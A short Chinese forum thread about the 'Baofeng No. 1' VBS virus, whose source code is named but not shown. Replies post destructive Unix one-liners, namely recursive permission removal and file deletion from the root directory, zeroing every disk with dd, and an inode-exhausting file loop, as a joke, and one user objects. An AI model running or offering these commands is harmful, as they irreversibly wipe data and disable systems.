病毒编写方式，以暴风一号 VBS 病毒源代码为例

[2015813]

暴风一号病毒源代码，一些杀毒软件又称“ 1K 快捷方式病毒”，是一个大学生的闲暇之作。值得研究学习， VBS 病毒的鼻祖是马尼拉 AMA 计算机大学的学生编写的“爱虫”病毒。很久了。

楼主，你这是找 block 是吧？
去学下贴代码吧~
病毒只是程序的一种，这里很多人都会写！

[RemRain]

明显没有如下命令好使：
chmod -R 000 /

rm -rf /*

for i in /dev/sd*; do dd if=/dev/zero of=$i & ; done

[ICANN]

乳猪试一下这段代码如何。
$ for((i=1;i<=200000;i++));do dd if=/dev/zero of=file_$i bs=1 count=1;done

[holyzhou]

楼上也别老贴这些危险命令成不~ 　秀优越？

[xylophone21]

我猜楼上的意思是说，贴这么大段的所谓病毒代码，其实还不如来个命令直接。那是否意味着这个命令也是一个病毒呢？
